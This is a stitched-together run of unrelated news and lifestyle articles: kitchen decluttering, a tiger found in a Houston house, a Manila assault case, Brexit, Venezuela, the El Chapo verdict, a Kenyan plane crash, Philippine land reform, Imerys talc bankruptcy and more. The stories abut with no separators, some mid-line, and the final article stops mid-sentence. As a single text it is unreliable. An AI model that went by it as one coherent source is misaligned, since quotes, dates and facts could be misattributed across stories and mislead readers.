One of the basic principles of the KonMari method -- to lose what you don't use -- applies nicely to food items. If it's old, long neglected or possibly rotting in your fridge, dump it. Unlike other "things," food doesn't typically carry sentimental value, so aside from that bottle of wine you're saving for a special occasion, it's best to just make a clean sweep of the apples that have been in the produce drawer since 2018, the eggs that may or may not be past their due date and the salad dressing you don't even remember buying.

[See: 7 Kitchen Items You Need to Replace to Protect Your Health. ]

2. Ask: Does this support health or happiness?

Kondo encourages her clients to get rid of items that don't "spark joy." But this may not be exactly the right question to ask as you're sorting through your pantry or fridge. (Does that chickpea pasta spark joy? Probably not, but it's more nutritious than regular pasta, so it stays. Am I giddy when I see the pine nuts in the back of the pantry? Not exactly. But I will likely make pesto once the summer rolls around and my basil plants begin to grow, so I'll keep those pine nuts.) So instead of framing your organizational session in terms of joy, try asking, "Will this make me healthy?" If the answer is "no," the next question should be, "How much do I like this?" If a food item is neither physically nourishing nor particularly delicious, why is it in your house?

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3. Make healthy food most accessible.

Experts from the Mayo Clinic describe our current food environment as "obesogenic" due to its promotion of sedentary lifestyles and unhealthy food choices that contribute to the high rates of obesity. But you have some control over your home environment, which can be more "health-ogenic" if healthy choices are plentiful and unhealthy choices scarce.

In other words: If you don't have it in your home, it's a lot harder to eat. If there aren't an array of chips in the pantry, you're less likely to eat chips while you watch television in the evening. On the other hand, if your fridge crisper is full of fruits and veggies, you won't have so much room for sour cream dips and soda. If you can find the pine nuts, you're more likely to make homemade (and presumably healthier) pesto.

[See: 10 Healthy Habits of the 'Naturally' Thin.]

4. Read labels and replace if needed.

Look at the nutrition information for anything you eat regularly, and see if you can find a slightly healthier option to put in its place if necessary. For instance, can you replace the sour cream dip with a Greek yogurt-based one? How about seltzer water instead of soda? Cauliflower pretzels instead of potato chips? The good news is that these days, there's a healthier option for all kinds of formerly health-depleting foods. Sure, you can indulge sometimes, but keeping junk in your kitchen is a recipe for indulging regularly.

5. Remember that less is more.

Back to KonMari. There are other elements of Kondo's method that are relevant to kitchen organization. Having less is likely to make it easier to see what you do have and put it to good use. Only replenishing the fridge, cupboards and pantry with things that you will really enjoy or that are healthy will help to simplify your food choices. And, organizing your food storage may make it easier to meal prep and grocery shop.

[See: 7 Ways to Hack Your Grocery Trip for Weight Loss]

Of course, applying the KonMari technique to your kitchen probably won't promote drastic weight loss or vastly improve your mental health. But, if like me, you spend a fair amount of time in your kitchen, and you have no illusions of going full-blown KonMari on your bedroom closet, starting with food storage is a good idea. It may make life just a little bit easier and your food choices a whole lot healthier.A man who broke into an abandoned house to smoke marijuana stumbled across more than he bargained for when he discovered a pet tiger inside.

Police in Houston, Texas, said the concerned citizen contacted them after he found the overweight mammal crammed inside a tiny cage.

Officers initially assumed the caller had smoked too much cannabis and was hallucinating, but soon discovered his report was entirely grounded in reality.

They saw a tiger in this building, this vacant house thats obviously been abandoned for some time, said Sergeant Jason Alderete, the Houston Police Departments animal unit.

They were trying to get into this house to smoke marijuana. We questioned them as to whether they were under the effects of the drugs or they actually saw a tiger.

After securing a warrant to search the property, officers did indeed find the overweight female tiger, which weighed about 160kg.

Despite the beast appearing friendly to the police, they decided to tranquilise her so she could be transferred to the citys animal shelter.

Conditions in the abandoned home were very poor and the cage was far too small for the tiger to be living in, police said.

But there were also several packages of meat nearby, which suggested the tigers owner had not abandoned the pet entirely.

Heidi Krahn, the head of a local animal charity, told a local TV news channel she had arranged for the tiger to be rehomed at a specialist facility which is able to handle exotic pets.

Finding a forever home for a tiger is not easy, she said. I tried to explain to people its a lot like having a child.

But unlike human children, tigers, including those bred illegally to be pets, always pose a huge risk, she explained.

They are basically a loaded gun pointed at anyone that encounters them, she said. They can be extremely dangerous.

There are about 7,000 tigers living in captivity in the US, nearly twice as many as the estimated 3,800 still in the wild.

Although experts warn they are inappropriate pets, in many states  including Texas  the private trade of tigers is mostly unregulated.

Federal laws only ban the smuggling in of tigers, so those born to breeders inside the US are in many places so readily available they can be bought online.The Bureau of Immigration took custody of the Chinese woman who threw soybean curd into a policeman right after posting bail at a Mandaluyong court where she was charged for direct assault, disobedience to an agent of a person in authority and unjust vexation. Immigration spokesman Dana Krizia Sandoval said immigration agents were armed with a mission order signed by Immigration Commissioner Jaime Morente to gain custody of Jiale Zhang, 23, for violating immigration laws. Zhang has already been charged as an undesirable alien for posing a risk to public interest, Sandoval said. The incident showed her disrespect to persons of authority, which in turn shows her disrespect to the country. But Zhangs camp on Wednesday accused immigration personnel of abduction for allegedly forcibly taking her on Tuesday and was considering filing a complaint. She was literally abducted... and another thing also this procedure is illegal, said Sandra Respall, Zhangs legal counsel, in an Unang Balita report by Vonne Aquino.Zhang may face deportation following the incident. The bureau is expected to resolve her case in the next few weeks. Zhang went viral on social media after throwing a cup of soy bean curd drink into a police officer after being prohibited from entering an MRT station with a beverage. Sandoval said Zhangs court case and immigration case were two different matters, adding the court case would run independently from her immigration case. If found deportable, we will wait for the resolution of her court case before implementing the deportation, she said. Zhang is now detained at the BI Warden Facility in Camp Bagong Diwa, Taguig, pending deportation proceedings.TUCSON, Ariz. (AP)  A man accused of pulling the trigger in the 2010 shooting death of a Border Patrol agent in the southern Arizona desert was convicted of first-degree murder and other charges Tuesday.

Heraclio Osorio-Arellanes also was found guilty by a U.S. District Court jury after brief deliberations on counts of second-degree murder, conspiracy to affect interstate commerce by robbery, attempted robbery, assault on four Border Patrol agents and carrying a firearm during a crime of violence.

He's scheduled to be sentenced April 29.

Osorio-Arellanes was among seven people charged in the Dec. 14, 2010, slaying of 40-year-old Border Patrol Agent Brian Terry north of Nogales, Arizona. He was arrested by Mexican authorities in April 2017 and extradited to the U.S. last August to stand trial.

Terry's killing publicly revealed the "Fast and Furious" operation, in which U.S. federal agents allowed criminals to buy firearms with the intention of tracking them to criminal organizations. But the U.S. Bureau of Alcohol, Tobacco, Firearms and Explosives lost track of most of the guns, including two found at scene of Terry's death.

The operation set off a political backlash against the Obama administration and prompted the agent's family to sue.

Terry was part of a four-man team in an elite Border Patrol unit staking out the southern Arizona desert on a mission to find "rip-off" crew members who rob drug smugglers. They encountered a group and identified themselves as police in trying to arrest them.

The men refused to stop, prompting an agent to fire bean bags at them. They responded by firing from AK-47-type assault rifles. Terry was struck in the back and died shortly afterward.

Five of the seven defendants charged in Terry's killing are serving prison sentences after pleading guilty or being convicted in the case. One other man was arrested in October 2017 and still is awaiting trial.By James Pearson and Kham Nguyen

HANOI (Reuters) - A young couple with matching expressions stare nervously into the camera with deep brown eyes. He, a Vietnamese student, has just met the love of his life. She, a North Korean, is forbidden to love him back.

It was 31 years after Pham Ngoc Canh, 69, took that first photo of Ri Yong Hui, before the two were finally allowed to get married in 2002 when North Korea took the rare step of allowing one of its citizens to marry a foreigner.

"From the moment I saw him, I was so sad because I felt it would be a love that could never be realized," said Ri, 70, speaking from the small Soviet-era apartment she and Canh share in the Vietnamese capital, Hanoi.

Now enjoying freedoms in Vietnam that would be impossible in North Korea, Canh and Ri are hoping the upcoming summit between U.S. President Donald Trump and North Korean leader Kim Jong Un in Hanoi will help end hostilities with Pyongyang.

If youre a North Korean, you want to see this resolved. But politics is complicated," Ri said. "When people first heard Kim Jong Un decided to meet Trump, they expected reunification to happen soon. But thats hard to realize in just one or two days. I hope things work out well.

Today one of Asia's fastest growing economies and integrated into the international community, Vietnam has been touted as a model for isolated and impoverished North Korea to follow.

Back in 1967, as Vietnam and the United States were locked in war, Canh was one of 200 Vietnamese students sent to North Korea to gain the skills the state needed to rebuild itself once the war was over.

Several years later, during a chemical engineering apprenticeship at a fertilizer factory on North Korea's east coast, Canh spotted Ri working in a laboratory.

"I thought to myself, 'I must marry that girl'," said Canh, who eventually plucked up the courage to approach Ri and ask her for her address.

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Ri obliged: Her friends had told her one of the "Viet Cong" working at the factory looked just like her, and she was curious.

"As soon as I saw him, I knew it was him," said Ri. "He looked so gorgeous".

"Until then, when I had seen so-called handsome guys I hadn't felt anything, but when he opened the door, my heart just melted".

But there were challenges. Until this day in North Korea, and in Vietnam at the time, relationships with foreigners are strictly forbidden.

GUERRILLA ACTION

After the couple exchanged several letters, Ri agreed to let Canh visit her at home.

He had to be careful. A Vietnamese comrade had been beaten when he had been found with a local girl.

Dressed in North Korean clothes, Canh embarked on the three-hour bus journey and two km walk to Ri's home - a trip he repeated monthly until he returned to Vietnam in 1973.

"I went to her house secretly, just like a guerrilla," said Canh.

Upon his return to Hanoi, Canh felt disillusioned. The son of a high-ranking cadre, Canh refused to join the Communist Party, forgoing the bright future the state had planned for him.

"I just couldn't agree with a socialism that stops people from loving each other," Canh said.

Five years later, in 1978, the Vietnamese chemical engineering institute Canh was attached to organized a trip to North Korea.

He asked to join, and managed to meet Ri. But every time they saw each other, Ri said, she became more heartbroken at the thought that they might never meet again.

He had brought with him a letter he had written to the North Korean leadership, begging for permission for them to marry.

"When she saw the letter, she asked: 'Comrade, do you intend to persuade my government?", said Canh, who never sent the letter and instead asked Ri to wait for him.

THE WEDDING

Later that year, Vietnam invaded Cambodia, triggering a border war with China. With North Korea on the side of Beijing and Phnom Penh, the couple stopped writing.

"My mother was crying while caring for me," said Ri. "I think she knew that I was lovesick."

In 1992, Canh again managed to get himself on a trip to North Korea as a translator with a Vietnamese sporting delegation, but couldn't meet Ri. When he returned to Hanoi, Canh found Ri had sent him a letter.

She still loved him.

In the late 1990s, North Korea was gripped by a devastating famine and a desperate delegation from Pyongyang visited Hanoi to ask for rice. Vietnam, which by then had undertaken major economic and political reforms and re-engaged with the West, refused.

Canh was so concerned for Ri and her people that he raised seven tonnes of rice in donations from friends to send to North Korea.

It was an act of generosity which finally paved the way for he and Ri to reunite: The North Koreans learned of Canh's act and agreed he could marry Ri and live in either country - provided Ri maintained her North Korean citizenship.

In 2002, the two finally married in the Vietnamese embassy in Pyongyang, and settled into their new life together in Hanoi, where they still live today.

"In the end, love beat socialism," said Canh.

(This story was refiled to add dropped word in paragraph 26)

(Reporting by James Pearson, Kham Nguyen and Khanh Vu.; Editing by Lincoln Feast.)Haulage firms are reportedly facing fines if they fail to fill in a 38-question form about their loads each time they cross the Channel (Picture: PA)

Haulage firms are reportedly facing fines of up to 1,000 if drivers fail to fill out a 38-question form each time they cross the Channel in the event of a no-deal Brexit.

The Sun reported that the Government is considering plans to force firms to complete the questionnaire on the safety and security of their load on top of other customs checks  or face a fine of up to 1,000 per consignment if they fail to do so.

According to the newspaper, industry sources revealed the plans amid fury at more red tape that could come with a no-deal Brexit.

One boss told The Sun: I think its beyond belief the Government has no comprehension of the impact of the process they want to put in place. This is going to have yet more impact in terms of costs and jobs.

The reports come as a leading business group warned that firms are being hung out to dry because of the continued uncertainty over a no-deal Brexit.

The British Chambers of Commerce (BCC) published a list of 20 critical questions it says remain unanswered for business if the UK leaves the EU on March 29 without a deal.

They include what trade agreements will be in place and how firms can move skilled staff between the UK and EU.

MORE: Dog owners in French town threatened with 60 fine to curb pets excessive barking

MORE: Iranian admits stabbing wife to death after she refused to support immigration application to remain in UK

Adam Marshall, director general of the BCC, said: In less than 50 days, UK firms could face the biggest change to their terms of trade in over a generation, without the information and clarity they need to navigate their forward course.

There is a very real risk that a lack of clear, actionable information from Government will leave firms, their people and their communities hung out to dry.

This content is not available due to your privacy preferences. Update your settings here to see it.

A Government spokesman said: The best way to support our economy, protects jobs and provide certainty for businesses and individuals as we leave is to back the deal we have agreed with the EU.

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We are focused on securing the necessary changes to ensure the deal passes through Parliament.

According to The Sun, the Home Office has declined to comment on reports about the 38-question form for truckers, while HMRC was reported as saying it had written several times to traders to advise them how to prepare for a no-deal Brexit and would continue to provide more details over the coming weeks.

Watch the latest videos from Yahoo UKOlly Robbins, the Prime Ministers chief EU adviser, reportedly suggested that MPs could be faced with a choice between accepting Mrs Mays deal or seeing Britains withdrawal put on hold for an extended period (Picture: Dominic Lipinski/PA Wire)

Brexit Secretary Stephen Barclay today denied suggestions the Government has ruled out a no-deal Brexit.

Senior negotiator Olly Robbins was reported to have been overheard in a Brussels bar saying Theresa May planned to wait until the end of March before confronting MPs with a choice between her deal or a lengthy delay to Brexit.

But Mr Barclay insisted that it remained the agreed position of the Cabinet to work to secure a favourable deal but plan for the possibility of no-deal.

ITV News reported that Mr Robbins, who is a key figure in the negotiations with the EU, indicated that if MPs did not vote for a deal then the delay to Brexit would be a long one.

This content is not available due to your privacy preferences. Update your settings here to see it.

He reportedly said: The issue is whether Brussels is clear on the terms of extension. In the end they will probably just give us an extension.

Got to make them believe that the week beginning end of March Extension is possible but if they dont vote for the deal then the extension is a long one

Mrs May has always insisted the UK will leave the EU on March 29 as planned but Mr Robbins reported comments fuel suspicions that she is trying to run down the clock to Brexit day on March 29 to force MPs to back her deal.

A Government spokesman said: We would not comment on alleged remarks from a private conversation which is said to have been overheard in a hotel bar.

Asked whether the comments reflect Government policy, Brexit Secretary Stephen Barclay told BBC Radio 4s Today programme: No. The Prime Minister has been very clear that we are committed to leaving on March 29.

Brexit

Brexit Secretary Stephen Barclay leaves Downing Street ahead of Prime Ministers Questions on Wednesday. (PA)

He added: What came over was actually that it is not in anyones interests to have an extension without any clarity. It is actually very disruptive to the European Parliament.

They have obviously elections for the Parliament and a Commission that will be formed at the end of May, so there is no desire on the European side to see what one described to me as an extension in darkness, where there is no clarity as to why we are extending.

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Meanwhile, a cross-party group of MPs is to launch a fresh attempt to prevent a no-deal Brexit if Mrs May cannot reach an agreement with Brussels by mid-March.

Theresa May has been accused of trying to run down the clock to Brexit day (Picture: AP/Kirsty Wigglesworth)

The group, including Labour MP Yvette Cooper and Tory former minister Sir Oliver Letwin, have said they are ready to table an amendment enabling Parliament to force ministers to seek a delay if there is no deal in place, preventing the country falling into a no-deal Brexit by accident.

Other MPs supporting the move include the senior Labour MP Hilary Benn, Tory former attorney general Dominic Grieve and the Liberal Democrat Norman Lamb.

It is also backed by Tory MP Dame Caroline Spelman and Labours Jack Dromey, who last month tabled a non-binding amendment opposing a no-Brexit which did win Commons support.

Earlier, Mrs May set out plans to short circuit parliamentary rules in order to get a Brexit deal ratified in time for the UK to leave the EU on March 29.

Watch the latest videos from Yahoo UKCARACAS, Venezuela (AP) -- The latest on the political crisis in Venezuela (all times local):

8:05 p.m.

Venezuelan President Nicolas Maduro is calling a meeting between Donald Trump and Colombian leader Ivan Duque a "feast of hate against Venezuela."

Trump and Duque met Wednesday in the Oval Office and said many countries want to help crisis-ridden Venezuela. Trump also said Maduro's refusal to accept humanitarian aid is a "terrible mistake" and hinted at future action by the U.S. and its allies against Venezuela's socialist leader.

Maduro has blocked humanitarian aid from the U.S. and other countries, saying it is part of an effort to oust him. Venezuelans are suffering severe shortages of food and more than 2 million have fled the country.

The U.S. and dozens of other nations have recognized opposition leader Juan Guaido as Venezuela's rightful leader. Maduro called Guaido a U.S. "puppet."

___

3:55 p.m.

Venezuela's self-declared President Juan Guaido says that the congress has appointed executives to a transitional board for its PDVSA state-owned oil company and its U.S. subsidiaries, including Houston-based refiner Citgo.

The South American nation sits on the world's largest proven petroleum reserves, but oil output has been plummeting for years. Controlling the industry that is the backbone of its economy is key to the transitional government of Guaido. The congressional leader proclaimed himself interim president on Jan. 23, arguing that the re-election of socialist President Nicolas Maduro was fraudulent.

Venezuela currently pumps just a third of the 3.5 million barrels a day it did when the late Hugo Chavez took power in 1999. The country's refining capacity has partly declined because of poor maintenance and lack of skilled staff. That has left it reliant on Citgo to refine the oil and send gasoline back to Venezuela to meet domestic needs. Officials at PDVSA and Citgo could not be immediately reached for comment.

___

12:30 p.m.

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The Netherlands says it will set up a humanitarian aid hub for crisis-torn Venezuela on its Caribbean island of Curacao.

Dutch Foreign Affairs Minister Stef Blok said on Twitter Wednesday that the collection point will be launched in "close cooperation with Venezuelan interim-president (Juan) Guaido and the United States."

Details weren't released. Curacao is about 55 miles (90 kilometers) off the Venezuelan coast.

About 60 countries, including the U.S., have recognized opposition leader Guaido as the interim president of Venezuela.

Guaido on Tuesday set a Feb. 23 deadline to bring badly needed food and medicine into Venezuela. The humanitarian aid has been warehoused on the Colombian border since last week. Guaido also announced a second collection point for aid across the border in Brazil.NEW YORK (AP)  The Latest on the verdict for Joaquin "El Chapo" Guzman's U.S. trial (all times local):

1:50 p.m.

A defense attorney for Joaquin "El Chapo" Guzman says the notorious drug lord's conviction will be appealed.

Jeffrey Lichtman said outside a Brooklyn courthouse Tuesday the defense "fought like complete savages" at the U.S. drug-trafficking trial and will "continue to fight" for Guzman.

Federal court marshals whisked Guzman out of the courtroom immediately after the judge read the guilty verdict.

U.S. Attorney Richard Donoghue says he expects Guzman to get a sentence of life in prison without the possibility of parole.

Guzman's wife left the courthouse without speaking to reporters.

___

1:30 p.m.

U.S. Attorney Richard Donoghue says the conviction of Joaquin "El Chapo" Guzman is "a day of reckoning," and there's more to come.

Donoghue says Tuesday outside a federal courthouse in Brooklyn he expects Guzman to get a sentence of life in prison without the possibility of parole.

He calls it "a sentence from which there is no escape and no return."

A defense lawyer says Guzman's conviction is "devastating." But Jeffrey Lichtman adds he can "proudly say" the defense "left it all on the battlefield."

Jurors convicted Guzman on all 10 counts in an international drug distribution trial that lasted more than three months.

___

1 p.m.

Mexican drug lord Joaquin "El Chapo" Guzman stared at the jury straight-faced as the judge read the guilty verdict.

Guzman leaned back in his chair Tuesday to catch the eye of his wife, who gave him a subtle thumbs-up, when the jury was discharged from a federal courthouse in Brooklyn.

A defense lawyer says Guzman's conviction is "devastating."

But Jeffrey Lichtman added he can "proudly say" the defense "left it all on the battlefield."

U.S. District Judge Brian Cogan lauded the jury's meticulous attention to detail. Cogan says it made him "very proud to be an American."

Story continues

The verdict reached on the sixth day of jury deliberations could put 61-year-old Guzman behind bars for the rest of his life in a high-security U.S. prison selected to thwart another one of the escapes that embarrassed his native country.

___

12:45 p.m.

The notorious Mexican drug lord Joaquin "El Chapo" Guzman has been found guilty on all counts in an international drug distribution trial in New York.

Jurors convicted him on all 10 counts that are likely to put him behind bars for the rest of his life. He is set to be sentenced on June 25.

The 61-year-old Guzman broke out of Mexican prisons twice before he was finally recaptured and extradited to the U.S. in 2017.

Federal prosecutors put on more than 50 witnesses over three months detailing how Guzman's Sinaloa cartel amassed billions of dollars importing tons of cocaine, heroin, meth and marijuana into the U.S.

___

12:30 p.m.

The notorious Mexican drug lord Joaquin "El Chapo" Guzman has been convicted of drug-trafficking charges at a trial in New York.

The verdict reached on the sixth day of jury deliberations could put the 61-year-old behind bars for the rest of his life in a high-security U.S. prison selected to thwart another one of the escapes that embarrassed his native country.

Guzman broke out of Mexican prisons twice before he was finally recaptured and extradited to the U.S. in 2017.

Federal prosecutors put on more than 50 witnesses over three months detailing how Guzman's Sinaloa cartel amassed billions of dollars importing tons of cocaine, heroin, meth and marijuana into the U.S.

Witnesses detailed assassinations and political payoffs, and how drugs were smuggled using tanker trucks, rail cars and even shipments of canned peppers.

___

12:20 p.m.

Federal prosecutors say a jury has reached a verdict in the U.S. trial of Mexican drug kingpin Joaquin "El Chapo" Guzman.

The verdict came on the sixth day of the jury's deliberations.

The trial testimony lasted nearly three months and the jurors have been tasked with deciding on 10 separate counts.

Federal prosecutors say Guzman's Sinaloa cartel amassed billions of dollars importing tons of cocaine, heroin and marijuana into the U.S.

The defense has accused prosecution cooperators of making him a scapegoat for their own crimes.

____

10:10 a.m.

Jurors at the U.S. trial of Mexican drug kingpin Joaquin "El Chapo" Guzman are in their sixth day of deliberations.

They returned Tuesday to grapple with the complicated case at a federal courthouse in Brooklyn.

The trial testimony lasted nearly three months and the jurors have been tasked with deciding on 10 separate counts.

The evidence included testimony from 14 cooperators. Many described Guzman's willingness to use violence against enemies of a cartel that prosecutors say smuggled at least 200 tons (181 metric tons) of cocaine into the U.S. over two decades.

The defense has accused prosecution cooperators of making him a scapegoat for their own crimes.DAYTONA BEACH, Florida  Dont look for Kyle Busch to be driving for another team in 2020.

Busch said Wednesday that he and Joe Gibbs Racing were close to officially agreeing to a contract extension to keep him with the team after the 2019 season. Busch said its all been agreed to and its just a matter of making the contract extension a formality.

The 2015 Cup Series champion has been with JGR since leaving Hendrick Motorsports after the 2006 season as Dale Earnhardt Jr. went to Hendrick. Forty-seven of Buschs 51 career Cup Series victories have come with JGR.

None of those victories have included the Daytona 500. For Busch, thats atop his hypothetical racing bucket list. While Busch has won at every active track on the NASCAR schedule  including at Daytona in July  hes never won the 500. After finishing third in the 2016 Daytona 500, Busch has been caught in crashes in each of the last two.

Theres plenty on there for sure, but the biggest one, the top item is the Daytona 500, Busch said. I would certainly like to knock that off a lot sooner than later, but hopefully  eventually, whether its the last year I do it, I can get one but thatll be seen later on.

Kyle Busch has gotten 47 of his 51 career wins with Joe Gibbs Racing. (AP Photo/Terry Renna)

      

Nick Bromberg is a writer for Yahoo Sports.

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Diyarbakir (Turkey) (AFP) - A pro-Kurdish lawmaker on hunger strike in Turkey for more than three months, was brought to a hospital Wednesday but went home by ambulance after refusing treatment, a hospital source said.

Leyla Guven started a hunger strike on November 8 while in jail, to protest against the prison conditions of Kurdish militant leader Abdullah Ocalan.

She was freed last month by a court in the Kurdish-majority Diyarbakir city but vowed to continue her fast until the government allows Ocalan to hold regular meetings with his lawyers and family members.

The 55-year-old member of the pro-Kurdish Peoples' Democratic Party (HDP) was taken to hospital Wednesday after her blood pressure went up and she complained of chest pain, the hospital source told AFP.

Her heartbeat was monitored at the hospital's intensive care unit. "She is conscious and refuses to take any treatment," the source said.

Later in the day, Guven left the hospital after signing a document stating that she refuses any treatment, according to the source.

AFP footage showed her being carried to an ambulance waiting outside the hospital, wearing a surgical mouth mask and with a scarf covering her face.

Guven was imprisoned last year for criticising Turkey's offensive against a Kurdish militia in northern Syria which Ankara brands as "terrorists" linked to the outlawed Kurdistan Workers' Party (PKK), co-founded by Ocalan.

Ocalan has not had access to his lawyers since 2011.

Guven's action is supported by over 300 prisoners across Turkey, according to the HDP.

She is consuming nothing but sugared- or salted water.

Ocalan, arrested 20 years ago, is serving a life sentence on Imrali island, close to Istanbul.

His PKK is listed as a terrorist group by Ankara, the European Union, and the United States.

The authorities allowed the PKK leader to meet his brother Mehmet last month, the first visit in over two years.Nairobi (AFP) - A Kenyan pilot and four foreigners -- including three Americans -- have died after a small plane carrying them from Kenya's Maasai Mara nature reserve crashed in the west of the country, police said Wednesday.

"There were five occupants in the plane and they did not survive," said Edward Mwamburi, police chief for the Rift Valley region.

He said the Cessna plane was heading from the famed Maasai Mara to Lodwar, near Lake Turkana, which is also popular with tourists.

"There was a Kenyan pilot on board and four foreign nationals," said James Mugera, commander with the Kericho police.

Three of the foreigners were identified as Americans -- two women and a man -- while one remained unidentified, a police source told AFP on condition of anonymity.

In June last year, a plane belonging to the FlySAX airline crashed on the edge of the Aberdares mountain range, leaving 10 people dead.

Kenya has a vibrant airline industry, with national airline Kenya Airways operating internationally and locally alongside successful low-cost airlines and charter companies.

According to the International Air Transport Association (IATA) in 2014, some 130,000 planes land and take off from Kenya each year, and the country has 35 operating airlines.

The IATA said Kenyas air transport infrastructure quality ranks 6th out of 37 countries surveyed in Africa.

In October 2017 five passengers were killed when a helicopter crashed into Lake Nakuru, while in 2012 a helicopter carrying internal security minister George Saitoti crashed, killing all six passengers on board.

Kenya's worst crash in recent years took place in 2007, when a Kenya Airways flight from Abidjan to Nairobi via Douala crashed into a swamp after take-off, killing all 114 passengers.

In 2000 another Kenya Airways flight from Abidjan to Nairobi crashed into the Atlantic Ocean minutes after take-off, killing 169 people while 10 survived.Amid the threat of President Rodrigo Duterte to sack more Department of Agrarian Reform officials or kill them over the slow process of land use conversion, Secretary John Castriciones on Wednesday vowed to fast track applications for conversion of lands to non-agricultural uses as well as the distribution of public lots through a presidential order. At a news conference, Castriciones, along with Undersecretary for Legal Affairs Office Meinardo Luis Pangulayan, said the agency created a task force last Feb. 6 to look into the 73 applications for land conversion and the coverage of government lands under the agrarian reform program. We have [also] drafted an executive order submitted to President Rodrigo Duterte allowing us to expand the agrarian reform program and to cover government-owned lands for purposes of distribution to farmers, he told reporters. Earlier, the President axed two DAR officials for taking them two years to process a land conversion case. He threatened to fire officials from the agencys conversion office, to file charges or to kill them if they failed to speed up land reform. The Comprehensive Agrarian Reform Program Extension with Reforms [CARPeR] lapsed on June 30, 2014, but land distribution did not stop on private agricultural lands with notices of coverage. Pangulayan said DAR submitted its report to the President to explain the snail-paced action on the applications for conversion of lands for socialized housing and renewable energy. Of the 73 land conversion applications, 43 of them are actually pending because we are waiting for the necessary government permits, feasibility study and other requisites. According to Pangulayan, DAR has issued Administrative Order No. 01 of 2019 not to accept applications with incomplete required dossiers. We reported to the President and he understood DARs predicament, he said. When asked if heads would still roll at DAR, Castriciones said what is important is that we very are supportive about the initiative of the President. Of course, he is probably making his own investigation into the matter. We do not want to preempt the President. All that we can say is, as far as we are concerned, whatever initiative we can do to speed up the process to help the farmers and the other stakeholders [we will do so], he told the Manila Standard. Meanwhile, Undersecretary for Finance, Management and Administration Office Lucius Junjun Malsi said DARs 1,800 employees with a job status as acting officers, officers in charge and those without any plantilla positions have been suffering from demoralization under the governments rationalization scheme since 2013. Unfortunately, we are not yet done with the 1,800 vacant jobs. These employees are just assuming as acting officers and officers in charge. They are [very] demoralized, he said. DAR was already able to process 600 vacant positions waiting for Castriciones signature, he said, adding some 200 positions are now for deliberations. We are asking the Commission on Elections to spare us from the election ban. We are expediting this since demoralization is affecting the employees productivity, he said. Section 261 of the Omnibus Election Code prohibits the appointment of new employees, creation of new position, promotion or giving salary increases during the period of 45 days before a regular election and 30 days before a special election. The 2019 general election is set on May 13. As this developed, the CPP branded the presidents land reform program as a huge bogus, saying that the government only distributes mere real estate transaction dressed up as land reform. The communist group made the remark after the President urged the public not to be involved with the communists just to seek land reform.Duterte has previously said that it would be unnecessary to join the armed struggle under his watch, stressing that he will be the one provide lands to beneficiaries. We dont need the NPA (New Peoples Army). Their campaign is to give lands to people. But I can do that too. In fact, Im already giving it, the President said in his speech in Buluan, Maguindanao where he distributed hundreds of certificates of land ownership award. The CPP said Dutertes promise of giving parcels of lands is a huge fake, adding that the government falsely claims to have distributed 60,000 hectares of land over the past few months. What Duterte is distributing, in fact, are mere documents requiring recipients to regularly pay burdensome amortization fees before they can claim ownership to the land. This is not land distribution. This is a mere real estate transaction dressed up as land reform, it added. According to the CPP, more than 90 percent of the so-called beneficiaries failed to pay their dues for more than 30 years under the Comprehensive Agrarian Reform Program. Majority of the peasants and farm workers remain landless while land continues to be concentrated in the hands of a few landlords and foreign plantation owners, the CPP said. The leftist group said the government should give lands to those who till the land for free for it to be called a genuine land reform. They have made the land rich and productive through their labor, but they have been exploited by the owners of the land in the form of onerous land rent to as much as 50-70% of the total produce, usurious interest payments or grossly low wages for farm workers, it said. The free distribution of land aims to end this system of exploitation. The CPP slammed the Duterte regime for not carrying out genuine land reform. The group believes that the President, who constrains himself within the limits set by the CARP, will not dare to change the land property relations in the rural areas through genuine land reform. Hes making much noise about carrying out land reform only because he wants to fool the peasant masses, make them give up their cause for genuine land reform, and condemn them to a lifelong of feudal suffering, the CPP said. Hes using the spectacle to conceal the vast land areas he is taking away from the peasants to give to big foreign capitalists for mining, energy, tourism, and other infrastructure projects, it added. With his promises, the CPP said Duterte pretends to be a champion of land reform by attempting to draw the peasant masses away from the NPA. The Presidents remark, according to the communist group, indirectly acknowledges the NPAs role in the so-called genuine land reform. Under the Revolutionary Guide to Land Reform, the NPA and the revolutionary masses are carrying out the minimum and maximum program for land reform in all guerrilla fronts across the country to the benefit of millions. Victories in land reform strengthen the foundations of the revolutionary governments political power in thousands of barangays across the country, it said. By carrying out land reform, the NPA continues to gain the deep and wide support of the broad masses of peasants. They are determined to push land reform as it wages protracted peoples war to accumulate strength to overthrow the reactionary state of the big landlord class and big bourgeois compradors, the CPP said. On Monday, the President gave 834 CLOAs, covering more than 1,700 hectares, to 780 beneficiaries hailing from 17 Maguindanao municipalities, urging them to make good use of the agricultural lands. The Chief Executive also directed Castriciones to look for more idle lands, particularly government lots, that farmers could cultivate and generate profit from. The beneficiaries of the governments land reform program include tenant-farmers, farm workers, agricultural lessees, and cooperatives within the same barangay or municipality.By Tina Bellon and Tom Hals (Reuters) - A key supplier of talc used in Johnson & Johnson's baby powder filed for Chapter 11 bankruptcy on Wednesday in the wake of multibillion-dollar lawsuits alleging its products caused ovarian cancer and asbestos-related mesothelioma. Imerys Talc America, the U.S. unit of French group Imerys SA, said it filed for bankruptcy because it lacks the financial clout to defend against nearly 15,000 lawsuits over its talc mineral product, which is also used in cosmetics. Imerys said that while it continued to believe the lawsuits are without merit, the prospect of rising settlement and defense costs over the next few years prompted the decision to file for bankruptcy. They also cite a multibillion-dollar verdict against Johnson & Johnson and the ensuing media attention as factors that led to the Chapter 11 filing. In July, a Missouri jury ordered J&J to pay a record $4.69 billion to 22 women who said asbestos in talc caused ovarian cancer. J&J has said it is appealing that verdict. Imerys said it had settled for an undisclosed amount prior to the trial. Imerys also attributed its filing to a dispute over an indemnity agreement. Imerys said some of its supply agreements required J&J to indemnify Imerys, but it said the U.S. healthcare conglomerate had refused to do. Imerys and J&J have repeatedly denied the allegations about talc, saying numerous studies and tests by regulators worldwide have shown their talc to be safe. J&J on Wednesday declined to comment on Imerys Talc America's Chapter 11 filing and on the allegations against it over the indemnification agreements. Reuters on Dec. 14 published a report detailing that J&J knew that the talc in its raw and finished powders sometimes tested positive for small amounts of asbestos from the 1970s into the early 2000s - test results it did not disclose to regulators or consumers. J&J has said that its talc products do not contain asbestos. Imerys said bankruptcy provided the best avenue for addressing its talc liability. Bankruptcy provides Imerys a single forum to settle the widespread litigation. A similar strategy has been used by numerous companies facing litigation over faulty breast implants, products containing asbestos and recalled automotive airbags. Two North American subsidiaries of Imerys, Imerys Talc Vermont and Imerys Talc Canada, also filed for Chapter 11 on Wednesday. Total revenue in 2018 for Imerys Talc America was $174 million, according to records filed 